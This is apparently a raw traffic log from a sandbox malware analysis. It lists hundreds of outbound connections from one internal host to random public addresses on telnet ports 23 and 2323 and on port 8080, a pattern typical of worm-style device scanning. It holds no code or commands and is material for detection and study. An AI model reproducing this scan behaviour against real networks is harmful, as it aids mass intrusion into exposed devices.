Feb 27, 2025 07:08:35.538402081 CET	25538	8080	192.168.2.14	85.198.223.60
Feb 27, 2025 07:08:35.538403988 CET	25538	8080	192.168.2.14	95.15.183.123
Feb 27, 2025 07:08:35.538402081 CET	25538	8080	192.168.2.14	31.36.98.183
Feb 27, 2025 07:08:35.538402081 CET	25538	8080	192.168.2.14	62.198.203.62
Feb 27, 2025 07:08:35.538402081 CET	25538	8080	192.168.2.14	94.90.245.180
Feb 27, 2025 07:08:35.538417101 CET	25538	8080	192.168.2.14	62.79.115.213
Feb 27, 2025 07:08:35.538419008 CET	25538	8080	192.168.2.14	95.230.99.50
Feb 27, 2025 07:08:35.538417101 CET	25538	8080	192.168.2.14	31.161.143.18
Feb 27, 2025 07:08:35.538429022 CET	25538	8080	192.168.2.14	31.86.178.208
Feb 27, 2025 07:08:35.538439035 CET	25538	8080	192.168.2.14	31.229.251.146
Feb 27, 2025 07:08:35.538445950 CET	25538	8080	192.168.2.14	95.222.133.26
Feb 27, 2025 07:08:35.538451910 CET	25538	8080	192.168.2.14	62.248.93.36
Feb 27, 2025 07:08:35.538458109 CET	25538	8080	192.168.2.14	31.176.84.72
Feb 27, 2025 07:08:35.538469076 CET	25538	8080	192.168.2.14	94.232.138.49
Feb 27, 2025 07:08:35.538469076 CET	25538	8080	192.168.2.14	85.71.92.108
Feb 27, 2025 07:08:35.538470984 CET	25538	8080	192.168.2.14	85.236.58.102
Feb 27, 2025 07:08:35.538471937 CET	25538	8080	192.168.2.14	31.231.80.58
Feb 27, 2025 07:08:35.538471937 CET	25538	8080	192.168.2.14	94.76.60.87
Feb 27, 2025 07:08:35.538476944 CET	25538	8080	192.168.2.14	31.250.116.220
Feb 27, 2025 07:08:35.538476944 CET	25538	8080	192.168.2.14	31.36.146.30
Feb 27, 2025 07:08:35.538489103 CET	25538	8080	192.168.2.14	85.227.145.98
Feb 27, 2025 07:08:35.538489103 CET	25538	8080	192.168.2.14	85.24.246.6
Feb 27, 2025 07:08:35.538489103 CET	25538	8080	192.168.2.14	95.158.255.131
Feb 27, 2025 07:08:35.538489103 CET	25538	8080	192.168.2.14	94.112.174.178
Feb 27, 2025 07:08:35.538491011 CET	25538	8080	192.168.2.14	62.253.96.121
Feb 27, 2025 07:08:35.538517952 CET	25538	8080	192.168.2.14	31.87.88.242
Feb 27, 2025 07:08:35.538517952 CET	25538	8080	192.168.2.14	95.110.98.250
Feb 27, 2025 07:08:35.538520098 CET	25538	8080	192.168.2.14	85.194.187.84
Feb 27, 2025 07:08:35.538520098 CET	25538	8080	192.168.2.14	85.223.46.241
Feb 27, 2025 07:08:35.538523912 CET	25538	8080	192.168.2.14	85.136.122.63
Feb 27, 2025 07:08:35.538523912 CET	25538	8080	192.168.2.14	62.18.140.178
Feb 27, 2025 07:08:35.538528919 CET	25538	8080	192.168.2.14	85.246.213.23
Feb 27, 2025 07:08:35.538530111 CET	60836	80	192.168.2.14	95.206.172.103
Feb 27, 2025 07:08:35.538539886 CET	25538	8080	192.168.2.14	94.119.245.42
Feb 27, 2025 07:08:35.538539886 CET	25538	8080	192.168.2.14	94.54.11.40
Feb 27, 2025 07:08:35.538551092 CET	25538	8080	192.168.2.14	31.85.32.183
Feb 27, 2025 07:08:35.538558006 CET	25538	8080	192.168.2.14	31.13.25.18
Feb 27, 2025 07:08:35.538558960 CET	25538	8080	192.168.2.14	95.213.180.158
Feb 27, 2025 07:08:35.538562059 CET	25538	8080	192.168.2.14	85.85.153.233
Feb 27, 2025 07:08:35.538562059 CET	25538	8080	192.168.2.14	95.51.248.250
Feb 27, 2025 07:08:35.538575888 CET	25538	8080	192.168.2.14	62.110.232.166
Feb 27, 2025 07:08:35.538575888 CET	25538	8080	192.168.2.14	62.73.30.146
Feb 27, 2025 07:08:35.538584948 CET	25538	8080	192.168.2.14	62.228.27.20
Feb 27, 2025 07:08:35.538584948 CET	25538	8080	192.168.2.14	94.232.164.201
Feb 27, 2025 07:08:35.538584948 CET	25538	8080	192.168.2.14	85.25.17.237
Feb 27, 2025 07:08:35.538584948 CET	25538	8080	192.168.2.14	31.50.199.242
Feb 27, 2025 07:08:35.538587093 CET	25538	8080	192.168.2.14	94.232.53.40
Feb 27, 2025 07:08:35.538592100 CET	25538	8080	192.168.2.14	94.64.181.123
Feb 27, 2025 07:08:35.538593054 CET	25538	8080	192.168.2.14	94.4.193.105
Feb 27, 2025 07:08:35.538603067 CET	25538	8080	192.168.2.14	62.80.64.101
Feb 27, 2025 07:08:35.538609028 CET	25538	8080	192.168.2.14	31.138.250.100
Feb 27, 2025 07:08:35.538611889 CET	25538	8080	192.168.2.14	62.245.36.130
Feb 27, 2025 07:08:35.538609028 CET	25538	8080	192.168.2.14	85.144.203.198
Feb 27, 2025 07:08:35.538609028 CET	25538	8080	192.168.2.14	95.29.138.141
Feb 27, 2025 07:08:35.538613081 CET	25538	8080	192.168.2.14	85.192.120.185
Feb 27, 2025 07:08:35.538609028 CET	25538	8080	192.168.2.14	94.243.150.152
Feb 27, 2025 07:08:35.538619995 CET	25538	8080	192.168.2.14	31.25.240.207
Feb 27, 2025 07:08:35.538619995 CET	25538	8080	192.168.2.14	62.227.201.121
Feb 27, 2025 07:08:35.538621902 CET	25538	8080	192.168.2.14	62.134.58.184
Feb 27, 2025 07:08:35.538619995 CET	25538	8080	192.168.2.14	62.98.124.187
Feb 27, 2025 07:08:35.538640976 CET	25538	8080	192.168.2.14	94.72.88.203
Feb 27, 2025 07:08:35.538640976 CET	25538	8080	192.168.2.14	62.206.76.3
Feb 27, 2025 07:08:35.538645983 CET	25538	8080	192.168.2.14	95.61.247.217
Feb 27, 2025 07:08:35.538650990 CET	25538	8080	192.168.2.14	62.54.98.69
Feb 27, 2025 07:08:35.538652897 CET	25538	8080	192.168.2.14	85.88.13.230
Feb 27, 2025 07:08:35.538652897 CET	25538	8080	192.168.2.14	31.64.38.32
Feb 27, 2025 07:08:35.538652897 CET	25538	8080	192.168.2.14	85.136.176.255
Feb 27, 2025 07:08:35.538656950 CET	25538	8080	192.168.2.14	95.113.37.143
Feb 27, 2025 07:08:35.538661003 CET	25538	8080	192.168.2.14	62.33.25.83
Feb 27, 2025 07:08:35.538666964 CET	25538	8080	192.168.2.14	85.35.102.205
Feb 27, 2025 07:08:35.538667917 CET	25538	8080	192.168.2.14	62.235.236.188
Feb 27, 2025 07:08:35.538666964 CET	25538	8080	192.168.2.14	62.79.252.181
Feb 27, 2025 07:08:35.538672924 CET	25538	8080	192.168.2.14	31.236.32.84
Feb 27, 2025 07:08:35.538680077 CET	25538	8080	192.168.2.14	85.138.156.88
Feb 27, 2025 07:08:35.538683891 CET	25538	8080	192.168.2.14	31.110.119.131
Feb 27, 2025 07:08:35.538683891 CET	25538	8080	192.168.2.14	31.200.207.207
Feb 27, 2025 07:08:35.538685083 CET	25538	8080	192.168.2.14	62.84.134.67
Feb 27, 2025 07:08:35.538685083 CET	25538	8080	192.168.2.14	94.149.111.236
Feb 27, 2025 07:08:35.538685083 CET	25538	8080	192.168.2.14	94.28.201.42
Feb 27, 2025 07:08:35.538692951 CET	25538	8080	192.168.2.14	85.244.42.248
Feb 27, 2025 07:08:35.538697958 CET	25538	8080	192.168.2.14	95.25.35.57
Feb 27, 2025 07:08:35.538717031 CET	25538	8080	192.168.2.14	31.96.156.175
Feb 27, 2025 07:08:35.538719893 CET	25538	8080	192.168.2.14	31.144.119.92
Feb 27, 2025 07:08:35.538722992 CET	25538	8080	192.168.2.14	62.249.92.209
Feb 27, 2025 07:08:35.538722992 CET	25538	8080	192.168.2.14	85.140.56.221
Feb 27, 2025 07:08:35.538723946 CET	25538	8080	192.168.2.14	94.49.189.251
Feb 27, 2025 07:08:35.538724899 CET	25538	8080	192.168.2.14	62.63.226.93
Feb 27, 2025 07:08:35.538727045 CET	25538	8080	192.168.2.14	62.45.212.71
Feb 27, 2025 07:08:35.538734913 CET	25538	8080	192.168.2.14	31.26.33.36
Feb 27, 2025 07:08:35.538734913 CET	25538	8080	192.168.2.14	95.97.177.200
Feb 27, 2025 07:08:35.538741112 CET	25538	8080	192.168.2.14	85.186.148.20
Feb 27, 2025 07:08:35.538743019 CET	25538	8080	192.168.2.14	62.102.40.149
Feb 27, 2025 07:08:35.538743019 CET	25538	8080	192.168.2.14	31.61.69.73
Feb 27, 2025 07:08:35.538743019 CET	25538	8080	192.168.2.14	31.205.77.234
Feb 27, 2025 07:08:35.538744926 CET	25538	8080	192.168.2.14	31.192.200.57
Feb 27, 2025 07:08:35.538753033 CET	25538	8080	192.168.2.14	62.220.131.23
Feb 27, 2025 07:08:35.538753986 CET	25538	8080	192.168.2.14	94.108.16.61
Feb 27, 2025 07:08:35.538753033 CET	25538	8080	192.168.2.14	62.109.70.36
Feb 27, 2025 07:08:35.538758039 CET	25538	8080	192.168.2.14	94.219.152.35
Feb 27, 2025 07:08:35.538759947 CET	25538	8080	192.168.2.14	62.161.161.45
Feb 27, 2025 07:08:35.538762093 CET	25538	8080	192.168.2.14	94.140.227.251
Feb 27, 2025 07:08:35.538769960 CET	25538	8080	192.168.2.14	62.146.192.60
Feb 27, 2025 07:08:35.538769960 CET	25538	8080	192.168.2.14	95.108.152.133
Feb 27, 2025 07:08:35.538774014 CET	25538	8080	192.168.2.14	94.226.178.214
Feb 27, 2025 07:08:35.538777113 CET	25538	8080	192.168.2.14	31.153.192.83
Feb 27, 2025 07:08:35.538775921 CET	25538	8080	192.168.2.14	85.22.157.37
Feb 27, 2025 07:08:35.538777113 CET	25538	8080	192.168.2.14	85.57.146.214
Feb 27, 2025 07:08:35.538778067 CET	25538	8080	192.168.2.14	31.77.222.107
Feb 27, 2025 07:08:35.538775921 CET	25538	8080	192.168.2.14	94.85.248.175
Feb 27, 2025 07:08:35.538777113 CET	25538	8080	192.168.2.14	62.9.66.190
Feb 27, 2025 07:08:35.538777113 CET	25538	8080	192.168.2.14	31.231.27.78
Feb 27, 2025 07:08:35.538790941 CET	25538	8080	192.168.2.14	94.239.150.225
Feb 27, 2025 07:08:35.538794994 CET	25538	8080	192.168.2.14	62.159.194.193
Feb 27, 2025 07:08:35.538795948 CET	25538	8080	192.168.2.14	95.26.161.125
Feb 27, 2025 07:08:35.538794994 CET	25538	8080	192.168.2.14	85.108.100.9
Feb 27, 2025 07:08:35.538794994 CET	25538	8080	192.168.2.14	94.48.68.205
Feb 27, 2025 07:08:35.538794994 CET	25538	8080	192.168.2.14	94.191.47.254
Feb 27, 2025 07:08:35.538801908 CET	25538	8080	192.168.2.14	62.235.145.189
Feb 27, 2025 07:08:35.540446043 CET	25794	2323	192.168.2.14	213.7.191.22
Feb 27, 2025 07:08:35.540446043 CET	25794	23	192.168.2.14	189.222.45.64
Feb 27, 2025 07:08:35.540462971 CET	25794	23	192.168.2.14	141.42.176.62
Feb 27, 2025 07:08:35.540463924 CET	25794	23	192.168.2.14	9.178.211.195
Feb 27, 2025 07:08:35.540471077 CET	25794	23	192.168.2.14	84.71.136.84
Feb 27, 2025 07:08:35.540473938 CET	25794	23	192.168.2.14	86.96.220.102
Feb 27, 2025 07:08:35.540479898 CET	25794	2323	192.168.2.14	145.42.169.112
Feb 27, 2025 07:08:35.540479898 CET	25794	23	192.168.2.14	58.45.42.248
Feb 27, 2025 07:08:35.540479898 CET	25794	23	192.168.2.14	208.84.235.137
Feb 27, 2025 07:08:35.540479898 CET	25794	23	192.168.2.14	77.28.27.194
Feb 27, 2025 07:08:35.540488005 CET	25794	23	192.168.2.14	121.144.84.165
Feb 27, 2025 07:08:35.540497065 CET	8080	25538	62.20.217.135	192.168.2.14
Feb 27, 2025 07:08:35.540508032 CET	25794	23	192.168.2.14	170.237.89.93
Feb 27, 2025 07:08:35.540508032 CET	25794	23	192.168.2.14	130.193.54.144
Feb 27, 2025 07:08:35.540508032 CET	25794	23	192.168.2.14	67.100.60.90
Feb 27, 2025 07:08:35.540510893 CET	25794	23	192.168.2.14	35.130.198.63
Feb 27, 2025 07:08:35.540524006 CET	25794	23	192.168.2.14	221.152.59.199
Feb 27, 2025 07:08:35.540524006 CET	25794	23	192.168.2.14	121.9.176.69
Feb 27, 2025 07:08:35.540524006 CET	25794	23	192.168.2.14	85.118.165.6
Feb 27, 2025 07:08:35.540524006 CET	25794	2323	192.168.2.14	60.0.210.120
Feb 27, 2025 07:08:35.540527105 CET	25794	23	192.168.2.14	59.27.193.87
Feb 27, 2025 07:08:35.540533066 CET	25794	23	192.168.2.14	110.22.36.172
Feb 27, 2025 07:08:35.540533066 CET	25794	23	192.168.2.14	163.35.65.126
Feb 27, 2025 07:08:35.540533066 CET	25794	23	192.168.2.14	170.100.159.76
Feb 27, 2025 07:08:35.540539980 CET	25794	23	192.168.2.14	61.115.171.31
Feb 27, 2025 07:08:35.540539980 CET	25794	23	192.168.2.14	114.34.34.79
Feb 27, 2025 07:08:35.540539980 CET	25794	23	192.168.2.14	98.168.73.148
Feb 27, 2025 07:08:35.540544033 CET	25794	23	192.168.2.14	161.42.187.76
Feb 27, 2025 07:08:35.540544033 CET	25538	8080	192.168.2.14	62.20.217.135
Feb 27, 2025 07:08:35.540544987 CET	25794	23	192.168.2.14	147.69.136.101
Feb 27, 2025 07:08:35.540559053 CET	25794	2323	192.168.2.14	41.222.240.37
Feb 27, 2025 07:08:35.540560961 CET	25794	23	192.168.2.14	122.26.155.130
Feb 27, 2025 07:08:35.540560961 CET	25794	23	192.168.2.14	35.216.129.65
Feb 27, 2025 07:08:35.540561914 CET	25794	23	192.168.2.14	89.193.144.19
Feb 27, 2025 07:08:35.540561914 CET	25794	23	192.168.2.14	185.208.124.191
Feb 27, 2025 07:08:35.540571928 CET	25794	23	192.168.2.14	164.30.147.229
Feb 27, 2025 07:08:35.540571928 CET	25794	23	192.168.2.14	160.220.18.153
Feb 27, 2025 07:08:35.540571928 CET	25794	23	192.168.2.14	208.232.224.249
Feb 27, 2025 07:08:35.540577888 CET	25794	23	192.168.2.14	114.67.64.60
Feb 27, 2025 07:08:35.540577888 CET	25794	23	192.168.2.14	136.194.176.12
Feb 27, 2025 07:08:35.540577888 CET	25794	2323	192.168.2.14	180.239.5.62
Feb 27, 2025 07:08:35.540581942 CET	25794	23	192.168.2.14	81.141.84.213
Feb 27, 2025 07:08:35.540581942 CET	25794	23	192.168.2.14	114.61.204.165
Feb 27, 2025 07:08:35.540585995 CET	25794	23	192.168.2.14	61.157.153.52
Feb 27, 2025 07:08:35.540600061 CET	25794	23	192.168.2.14	222.141.234.121
Feb 27, 2025 07:08:35.540611029 CET	25794	23	192.168.2.14	138.153.126.35
Feb 27, 2025 07:08:35.540611029 CET	25794	23	192.168.2.14	39.115.242.195
Feb 27, 2025 07:08:35.540616989 CET	25794	23	192.168.2.14	169.121.112.29
Feb 27, 2025 07:08:35.540616989 CET	25794	23	192.168.2.14	4.81.74.69
Feb 27, 2025 07:08:35.540616989 CET	25794	23	192.168.2.14	77.126.146.251
Feb 27, 2025 07:08:35.540628910 CET	25794	23	192.168.2.14	100.219.37.20
Feb 27, 2025 07:08:35.540632010 CET	25794	2323	192.168.2.14	27.205.0.197
Feb 27, 2025 07:08:35.540642977 CET	25794	23	192.168.2.14	99.134.31.63
Feb 27, 2025 07:08:35.540643930 CET	25794	23	192.168.2.14	91.67.208.9
Feb 27, 2025 07:08:35.540643930 CET	25794	23	192.168.2.14	178.77.102.153
Feb 27, 2025 07:08:35.540647984 CET	25794	2323	192.168.2.14	84.93.43.161
Feb 27, 2025 07:08:35.540652990 CET	25794	23	192.168.2.14	51.244.28.130
Feb 27, 2025 07:08:35.540652990 CET	25794	23	192.168.2.14	95.159.192.164
Feb 27, 2025 07:08:35.540652990 CET	25794	23	192.168.2.14	122.55.90.60
Feb 27, 2025 07:08:35.540652990 CET	25794	23	192.168.2.14	75.48.88.20
Feb 27, 2025 07:08:35.540653944 CET	25794	23	192.168.2.14	192.202.232.24
Feb 27, 2025 07:08:35.540653944 CET	25794	23	192.168.2.14	164.189.60.102
Feb 27, 2025 07:08:35.540653944 CET	25794	23	192.168.2.14	82.227.67.250
Feb 27, 2025 07:08:35.540669918 CET	25794	23	192.168.2.14	193.90.210.247
Feb 27, 2025 07:08:35.540672064 CET	25794	23	192.168.2.14	31.151.125.232
Feb 27, 2025 07:08:35.540672064 CET	25794	23	192.168.2.14	116.34.55.12
Feb 27, 2025 07:08:35.540669918 CET	25794	23	192.168.2.14	169.219.71.238
Feb 27, 2025 07:08:35.540672064 CET	25794	23	192.168.2.14	175.122.213.81
Feb 27, 2025 07:08:35.540669918 CET	25794	23	192.168.2.14	114.224.158.155
Feb 27, 2025 07:08:35.540672064 CET	25794	23	192.168.2.14	58.66.25.89
Feb 27, 2025 07:08:35.540680885 CET	25794	23	192.168.2.14	59.107.27.85
Feb 27, 2025 07:08:35.540683985 CET	25794	23	192.168.2.14	189.57.77.167
Feb 27, 2025 07:08:35.540683985 CET	25794	2323	192.168.2.14	131.114.128.212
Feb 27, 2025 07:08:35.540687084 CET	25794	23	192.168.2.14	128.249.104.172
Feb 27, 2025 07:08:35.540687084 CET	25794	23	192.168.2.14	74.229.172.69
Feb 27, 2025 07:08:35.540693998 CET	25794	23	192.168.2.14	113.143.76.227
Feb 27, 2025 07:08:35.540695906 CET	25794	23	192.168.2.14	188.7.119.210
Feb 27, 2025 07:08:35.540707111 CET	25794	23	192.168.2.14	191.206.125.67
Feb 27, 2025 07:08:35.540707111 CET	25794	23	192.168.2.14	98.13.181.64
Feb 27, 2025 07:08:35.540713072 CET	25794	23	192.168.2.14	189.29.148.197
Feb 27, 2025 07:08:35.540713072 CET	25794	23	192.168.2.14	59.5.28.208
Feb 27, 2025 07:08:35.540713072 CET	25794	23	192.168.2.14	152.179.184.194
Feb 27, 2025 07:08:35.540713072 CET	25794	23	192.168.2.14	191.89.54.243
Feb 27, 2025 07:08:35.540713072 CET	25794	2323	192.168.2.14	46.199.80.88
Feb 27, 2025 07:08:35.540713072 CET	25794	23	192.168.2.14	83.111.183.103
Feb 27, 2025 07:08:35.540713072 CET	25794	23	192.168.2.14	141.218.84.182
Feb 27, 2025 07:08:35.540723085 CET	25794	23	192.168.2.14	191.69.219.88
Feb 27, 2025 07:08:35.540723085 CET	25794	23	192.168.2.14	149.57.251.149
Feb 27, 2025 07:08:35.540728092 CET	25794	23	192.168.2.14	185.61.217.140
Feb 27, 2025 07:08:35.540729046 CET	25794	23	192.168.2.14	132.85.226.131
Feb 27, 2025 07:08:35.540729046 CET	25794	23	192.168.2.14	152.156.33.33
Feb 27, 2025 07:08:35.540728092 CET	25794	23	192.168.2.14	43.207.34.103
Feb 27, 2025 07:08:35.540728092 CET	25794	23	192.168.2.14	183.173.214.227
Feb 27, 2025 07:08:35.540728092 CET	25794	23	192.168.2.14	142.9.7.194
Feb 27, 2025 07:08:35.540728092 CET	25794	23	192.168.2.14	185.79.154.24
Feb 27, 2025 07:08:35.540739059 CET	25794	23	192.168.2.14	203.192.216.76
Feb 27, 2025 07:08:35.540739059 CET	25794	23	192.168.2.14	128.206.160.107
Feb 27, 2025 07:08:35.540740013 CET	25794	23	192.168.2.14	196.149.34.226
Feb 27, 2025 07:08:35.540739059 CET	25794	23	192.168.2.14	88.3.80.217
Feb 27, 2025 07:08:35.540739059 CET	25794	23	192.168.2.14	216.142.245.198
Feb 27, 2025 07:08:35.540739059 CET	25794	2323	192.168.2.14	217.47.232.241
Feb 27, 2025 07:08:35.540739059 CET	25794	23	192.168.2.14	54.160.156.51
Feb 27, 2025 07:08:35.540750027 CET	25794	2323	192.168.2.14	80.225.7.195
Feb 27, 2025 07:08:35.540750027 CET	25794	23	192.168.2.14	113.159.166.171
Feb 27, 2025 07:08:35.540750027 CET	25794	23	192.168.2.14	129.110.122.246
Feb 27, 2025 07:08:35.540750027 CET	25794	23	192.168.2.14	104.171.14.148
Feb 27, 2025 07:08:35.540750980 CET	25794	23	192.168.2.14	60.18.38.77
Feb 27, 2025 07:08:35.540756941 CET	25794	23	192.168.2.14	67.65.195.23
Feb 27, 2025 07:08:35.540761948 CET	25794	23	192.168.2.14	212.54.79.100
Feb 27, 2025 07:08:35.540761948 CET	25794	23	192.168.2.14	156.216.55.9
Feb 27, 2025 07:08:35.540764093 CET	25794	23	192.168.2.14	133.51.51.86
Feb 27, 2025 07:08:35.540765047 CET	25794	23	192.168.2.14	80.220.11.81
Feb 27, 2025 07:08:35.540765047 CET	25794	23	192.168.2.14	166.87.124.238
Feb 27, 2025 07:08:35.540774107 CET	25794	23	192.168.2.14	54.21.136.188
Feb 27, 2025 07:08:35.540774107 CET	25794	23	192.168.2.14	99.192.252.100
Feb 27, 2025 07:08:35.540774107 CET	25794	23	192.168.2.14	123.225.83.16
Feb 27, 2025 07:08:35.540781975 CET	25794	23	192.168.2.14	149.175.0.196
Feb 27, 2025 07:08:35.540786028 CET	25794	23	192.168.2.14	20.64.156.0
Feb 27, 2025 07:08:35.540786028 CET	25794	23	192.168.2.14	110.74.193.95
Feb 27, 2025 07:08:35.540786028 CET	25794	23	192.168.2.14	80.252.182.121
Feb 27, 2025 07:08:35.540787935 CET	25794	23	192.168.2.14	60.249.93.129
Feb 27, 2025 07:08:35.540791035 CET	25794	23	192.168.2.14	182.130.98.38
Feb 27, 2025 07:08:35.540791988 CET	25794	23	192.168.2.14	193.112.255.215
Feb 27, 2025 07:08:35.540791035 CET	25794	23	192.168.2.14	154.129.52.17
Feb 27, 2025 07:08:35.540791988 CET	25794	23	192.168.2.14	65.175.253.174
Feb 27, 2025 07:08:35.540796995 CET	25794	23	192.168.2.14	69.163.177.37
Feb 27, 2025 07:08:35.540791035 CET	25794	23	192.168.2.14	191.17.77.52
Feb 27, 2025 07:08:35.540802956 CET	25794	23	192.168.2.14	167.61.188.96
Feb 27, 2025 07:08:35.540805101 CET	25794	23	192.168.2.14	203.191.98.52
Feb 27, 2025 07:08:35.540807009 CET	25794	2323	192.168.2.14	144.65.105.228
Feb 27, 2025 07:08:35.540807009 CET	25794	23	192.168.2.14	31.209.235.134
Feb 27, 2025 07:08:35.540813923 CET	25794	23	192.168.2.14	139.170.19.55
Feb 27, 2025 07:08:35.540813923 CET	25794	23	192.168.2.14	96.6.222.120
Feb 27, 2025 07:08:35.540813923 CET	25794	23	192.168.2.14	94.173.217.89
Feb 27, 2025 07:08:35.540819883 CET	25794	23	192.168.2.14	107.35.225.199
Feb 27, 2025 07:08:35.540821075 CET	25794	23	192.168.2.14	76.236.191.37
Feb 27, 2025 07:08:35.540822983 CET	25794	2323	192.168.2.14	140.10.116.96
Feb 27, 2025 07:08:35.540821075 CET	25794	23	192.168.2.14	151.169.3.60
Feb 27, 2025 07:08:35.540827990 CET	25794	23	192.168.2.14	124.16.39.216
Feb 27, 2025 07:08:35.540832996 CET	25794	23	192.168.2.14	74.187.203.180
Feb 27, 2025 07:08:35.540832996 CET	25794	2323	192.168.2.14	97.196.149.210
Feb 27, 2025 07:08:35.540834904 CET	25794	23	192.168.2.14	142.30.229.197
Feb 27, 2025 07:08:35.540834904 CET	25794	23	192.168.2.14	85.211.248.234
Feb 27, 2025 07:08:35.540834904 CET	25794	23	192.168.2.14	159.177.191.128
Feb 27, 2025 07:08:35.540834904 CET	25794	23	192.168.2.14	52.210.123.240
Feb 27, 2025 07:08:35.540834904 CET	25794	23	192.168.2.14	192.135.77.69
Feb 27, 2025 07:08:35.540839911 CET	25794	23	192.168.2.14	136.177.111.152
Feb 27, 2025 07:08:35.540834904 CET	25794	23	192.168.2.14	196.184.24.144
Feb 27, 2025 07:08:35.540844917 CET	25794	23	192.168.2.14	61.6.240.9
Feb 27, 2025 07:08:35.540844917 CET	25794	2323	192.168.2.14	193.60.111.38
Feb 27, 2025 07:08:35.540844917 CET	25794	23	192.168.2.14	118.129.172.55
Feb 27, 2025 07:08:35.540844917 CET	25794	2323	192.168.2.14	54.229.54.37
Feb 27, 2025 07:08:35.540844917 CET	25794	23	192.168.2.14	63.100.246.4
Feb 27, 2025 07:08:35.540844917 CET	25794	23	192.168.2.14	27.250.83.35
Feb 27, 2025 07:08:35.540849924 CET	25794	23	192.168.2.14	117.100.98.44
Feb 27, 2025 07:08:35.540853977 CET	25794	23	192.168.2.14	172.196.189.225
Feb 27, 2025 07:08:35.540858030 CET	25794	23	192.168.2.14	25.23.210.206
Feb 27, 2025 07:08:35.540858030 CET	25794	23	192.168.2.14	121.148.209.68
Feb 27, 2025 07:08:35.540864944 CET	25794	23	192.168.2.14	171.54.97.9
Feb 27, 2025 07:08:35.540873051 CET	25794	23	192.168.2.14	116.92.212.5
Feb 27, 2025 07:08:35.540874004 CET	25794	23	192.168.2.14	61.166.217.40
Feb 27, 2025 07:08:35.540873051 CET	25794	23	192.168.2.14	47.214.26.242
Feb 27, 2025 07:08:35.540874958 CET	25794	2323	192.168.2.14	221.105.202.49
Feb 27, 2025 07:08:35.540873051 CET	25794	23	192.168.2.14	49.42.175.200
Feb 27, 2025 07:08:35.540873051 CET	25794	23	192.168.2.14	98.134.145.64
Feb 27, 2025 07:08:35.540878057 CET	25794	23	192.168.2.14	181.141.57.109
Feb 27, 2025 07:08:35.540884972 CET	25794	23	192.168.2.14	160.68.165.18
Feb 27, 2025 07:08:35.540884972 CET	25794	23	192.168.2.14	77.58.84.3
Feb 27, 2025 07:08:35.540884972 CET	25794	23	192.168.2.14	195.216.131.3
Feb 27, 2025 07:08:35.540889978 CET	25794	23	192.168.2.14	87.242.139.204
Feb 27, 2025 07:08:35.540899038 CET	25794	23	192.168.2.14	78.73.55.24
Feb 27, 2025 07:08:35.540899038 CET	25794	2323	192.168.2.14	216.39.192.194
Feb 27, 2025 07:08:35.540899992 CET	25794	23	192.168.2.14	217.43.175.225
Feb 27, 2025 07:08:35.540899038 CET	25794	23	192.168.2.14	111.115.101.224
Feb 27, 2025 07:08:35.540899992 CET	25794	23	192.168.2.14	146.123.88.130
Feb 27, 2025 07:08:35.540920973 CET	25794	23	192.168.2.14	160.40.175.252
Feb 27, 2025 07:08:35.540921926 CET	25794	23	192.168.2.14	81.155.251.68
Feb 27, 2025 07:08:35.540921926 CET	25794	23	192.168.2.14	220.165.43.223
Feb 27, 2025 07:08:35.540923119 CET	25794	23	192.168.2.14	154.197.19.133
Feb 27, 2025 07:08:35.540920973 CET	25794	23	192.168.2.14	71.213.215.229
Feb 27, 2025 07:08:35.540930033 CET	25794	23	192.168.2.14	53.215.233.99
Feb 27, 2025 07:08:35.540930986 CET	25794	23	192.168.2.14	48.58.139.82
Feb 27, 2025 07:08:35.540931940 CET	25794	23	192.168.2.14	197.233.67.227
Feb 27, 2025 07:08:35.540930033 CET	25794	23	192.168.2.14	31.71.157.55
Feb 27, 2025 07:08:35.540931940 CET	25794	23	192.168.2.14	101.50.13.30
Feb 27, 2025 07:08:35.540930033 CET	25794	2323	192.168.2.14	150.158.200.173
Feb 27, 2025 07:08:35.540935040 CET	25794	23	192.168.2.14	203.174.0.95
Feb 27, 2025 07:08:35.540940046 CET	25794	23	192.168.2.14	57.187.167.231
Feb 27, 2025 07:08:35.540947914 CET	25794	23	192.168.2.14	85.78.207.141
Feb 27, 2025 07:08:35.540954113 CET	25794	23	192.168.2.14	35.154.14.179
Feb 27, 2025 07:08:35.540960073 CET	25794	23	192.168.2.14	122.22.146.119
Feb 27, 2025 07:08:35.540960073 CET	25794	2323	192.168.2.14	31.11.250.208
Feb 27, 2025 07:08:35.540962934 CET	25794	23	192.168.2.14	75.250.111.136
Feb 27, 2025 07:08:35.540963888 CET	25794	23	192.168.2.14	52.153.186.213
Feb 27, 2025 07:08:35.540976048 CET	25794	23	192.168.2.14	176.74.175.112
Feb 27, 2025 07:08:35.540976048 CET	25794	23	192.168.2.14	218.137.249.178
Feb 27, 2025 07:08:35.540982008 CET	25794	23	192.168.2.14	23.224.182.160
Feb 27, 2025 07:08:35.540993929 CET	25794	23	192.168.2.14	143.236.233.33
Feb 27, 2025 07:08:35.540993929 CET	25794	23	192.168.2.14	186.198.169.170
Feb 27, 2025 07:08:35.540997982 CET	25794	23	192.168.2.14	39.245.84.178
Feb 27, 2025 07:08:35.541011095 CET	25794	23	192.168.2.14	63.170.28.152
Feb 27, 2025 07:08:35.541016102 CET	25794	23	192.168.2.14	36.95.231.213
Feb 27, 2025 07:08:35.541017056 CET	25794	23	192.168.2.14	68.222.195.69
Feb 27, 2025 07:08:35.541023970 CET	25794	23	192.168.2.14	108.183.101.224
Feb 27, 2025 07:08:35.541023970 CET	25794	2323	192.168.2.14	124.213.60.129
Feb 27, 2025 07:08:35.541023970 CET	25794	23	192.168.2.14	134.14.43.33
Feb 27, 2025 07:08:35.541023970 CET	25794	23	192.168.2.14	177.159.199.121
Feb 27, 2025 07:08:35.541028023 CET	25794	23	192.168.2.14	126.7.9.195
Feb 27, 2025 07:08:35.541028976 CET	25794	23	192.168.2.14	96.23.225.51
Feb 27, 2025 07:08:35.541024923 CET	25794	23	192.168.2.14	48.127.175.60
Feb 27, 2025 07:08:35.541033030 CET	25794	23	192.168.2.14	125.228.99.62
Feb 27, 2025 07:08:35.541048050 CET	49772	80	192.168.2.14	95.78.36.212
Feb 27, 2025 07:08:35.541048050 CET	25794	2323	192.168.2.14	112.244.26.127
Feb 27, 2025 07:08:35.541054010 CET	25794	23	192.168.2.14	32.115.106.126
Feb 27, 2025 07:08:35.541063070 CET	25794	23	192.168.2.14	1.20.255.71
Feb 27, 2025 07:08:35.541063070 CET	25794	23	192.168.2.14	34.41.172.236
Feb 27, 2025 07:08:35.541063070 CET	25794	2323	192.168.2.14	81.13.51.48
Feb 27, 2025 07:08:35.541065931 CET	25794	23	192.168.2.14	222.60.96.225
Feb 27, 2025 07:08:35.541063070 CET	25794	23	192.168.2.14	174.54.21.148
